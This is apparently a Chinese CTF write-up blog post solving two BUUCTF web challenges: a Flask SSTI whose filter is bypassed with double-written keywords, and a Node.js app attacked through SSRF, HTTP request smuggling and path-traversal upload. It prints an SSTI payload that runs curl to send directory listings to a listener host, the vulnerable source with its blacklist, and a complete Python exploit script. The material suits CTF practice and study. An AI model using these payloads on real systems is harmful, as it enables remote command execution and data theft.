BUUCTF(41)

223 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

[GWCTF 2019]你的名字

点开就是一个名字查询界面,根据回显猜测是不是ssti

{{7*7}}

直接错报,测试发现过滤了{{

但是我们可以用{% 去绕过,

{{被过滤,用{% if ... %}{% endif %}代替,用os.popen+curl来带出数据

xz.aliyun.com/t/6885

然后爆破fuzz或者手动测试。

发现此payload中的if、os、class、mro,config,popen都会被过滤成空,那采取双写绕过的思想

os使用oconfigs,if使用iconfigf,class使用claconfigss,mro使用mrconfigo,popen使用popconfigen

{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl ip:5555/ -d `ls /|base64`;') %}1{% endiconfigf %}

需要注意的是

1. 所有被过滤的关键词都要进行相应替换
2. 这里执行的是curl 靶机ip。需要在buu中另开一台linux靶机进行监听
3. ls /是不行的,猜测会直接执行,所以要先用base加密输出,才可输出所有目录。
4. ls / |base64  要用反引号括起来,

之后测试成功换命令去执行就可以了

[GYCTF2020]Node Game

Hello everyone

During this time, I learned nodejs and pug。

Can you get the flag

有两个按键,一个是源码,一个是文件上传点

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');




app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))




app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";
    if( action.includes("/") || action.includes("\") ){
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);
    res.send(html);
});


app.post('/file_upload', function(req, res){
    var ip = req.connection.remoteAddress;
    var obj = {
        msg: '',
    }
    if (!ip.includes('127.0.0.1')) {
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));
        return 
    }
    fs.readFile(req.files[0].path, function(err, data){
        if(err){
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        }else{
            var file_path = '/uploads/' + req.files[0].mimetype +"/";
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name
            if(!fs.existsSync(__dirname + file_path)){
                try {
                    fs.mkdirSync(__dirname + file_path)
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file,data)
                obj = {
                    msg: 'upload success',
                    filename: file_path + file_name
                } 
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));    
        }
    })
})


app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});




app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });


                    resp.on('data', function(chunk) {
                        try {
                         resps = chunk.toString();
                         res.send(resps);
                        }catch (e) {
                           res.send(e.message);
                        }
 
                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})


function blacklist(url) {
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec",""","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}


var server = app.listen(8081, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})           

nodejs的审计还没有做过,简单看一下

接收GET请求传来的action参数值,检查是否含有违法字符/、\,而后将其拼接/template和.pug,而后赋值给file变量,然后用pug引擎渲染,接受POST请求,要使用该路由的功能对访问的ip是有限制的,只允许127.0.0.1的地址来访问。同时var ip = req.connection.remoteAddress;说明ip是不能通过请求头来伪造的。可以考虑用SSRF来绕过。同时如果能够使用文件上传功能的话,可以看到上传文件的存储路径是文件上传的类型mimetype来决定的,因此可控。所以有路径穿越,可以任意文件上传了。如:uploads/…/template/+filename这样就相当于传了一个文件到template,接受一个参数q,并对本地进行请求:url = ‘http://localhost:8081/source?’ + q

毫无疑问,上面这里就是 SSRF 点了

这里用到了http走私请求,不了解的小伙伴可以去看一下,就贴一下脚本吧

import urllib.parse
import requests


payload = ''' HTTP/1.1
Host: x
Connection: keep-alive


POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: {}
cache-control: no-cache
Host: 127.0.0.1
Connection: keep-alive 


{}'''
body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
Content-Type: ../template


doctype html
html
  head
    style
      include ../../../../../../../flag.txt
------WebKitFormBoundaryO9LPoNAg9lWRUItA--
'''
more='''


GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.format(len(body)+10,body)+more
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)




session = requests.Session()
session.trust_env = False
session.get('http://63308dcb-c35a-4820-b799-9f959be2cec2.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
response = session.get('http://63308dcb-c35a-4820-b799-9f959be2cec2.node4.buuoj.cn:81/?action=lmonstergg')
print(response.text)